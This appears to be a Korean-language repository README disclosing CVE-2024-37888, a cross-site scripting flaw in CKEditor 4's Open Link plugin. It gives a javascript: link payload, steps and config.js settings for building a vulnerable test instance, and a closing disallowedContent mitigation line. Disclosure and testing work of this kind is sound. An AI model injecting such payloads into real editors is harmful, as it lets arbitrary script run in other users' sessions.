
CKEditor 4의 Open Link Plugin을 위한 XSS PoC/Exploit
이 저장소는 2024년 5월 21일 Anurag Mondal(7Ragnarok7)이 발견하고 보고한 CVE-2024-37888의 취약점 세부 정보와 익스플로잇을 문서화합니다.
이 개념 증명(POC)은 최근 제가 Open Link 플러그인에서 발견한 XSS 취약점의 익스플로잇을 보여줍니다. 이 플러그인은 활성화되면 모든 버전의 CKEditor 4에 직접 영향을 미칩니다. 이 결함은 플러그인이 정화하지 못하는 조작된 링크를 통해 편집기 내에서 JavaScript가 실행되도록 허용합니다. 이 결함은 Open Link 플러그인이 설치된 경우에만 텍스트 영역 내에서 악용될 수 있습니다. Open Link 플러그인을 사용하면 편집 영역 내에서 직접 링크를 열 수 있습니다.
이 취약점은 여기에 있는 사전 구성된 CKEditor 인스턴스에서 테스트할 수 있습니다.
페이로드 삽입:
CKEditor 인스턴스를 열고 "Source" 아이콘을 클릭합니다.
텍스트 영역에 다음 페이로드를 삽입합니다:
<a href="javascript:alert('XSS Found')">XSS</a>

WYSIWYG 모드로 전환:

XSS 트리거:

아래 단계를 따라 자신의 로컬 인스턴스를 설정하여 이 취약점을 테스트할 수 있습니다.
CKEditor 4 다운로드:

Open Link 플러그인 설치:
ckeditor/plugins/openlink 디렉터리에 배치합니다.
OpenLink 플러그인을 포함하도록 구성 업데이트:
config.js 파일을 수정하여 끝에 다음 줄을 추가합니다:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js 예시:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
HTML에 CKEditor 포함:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

이 취약점은 CKEditor 4 코드베이스가 아닌 Open Link 플러그인의 코드베이스에서 발견되었습니다. 위의 POC는 CKEditor 4.*.*의 Open Link 플러그인을 통한 XSS 취약점 악용을 보여줍니다. 이 결함은 특수하게 조작된 링크를 통해 임의의 JavaScript 실행을 허용하여 심각한 보안 위험을 초래합니다.
config.disallowedContent = 'a[onclick]';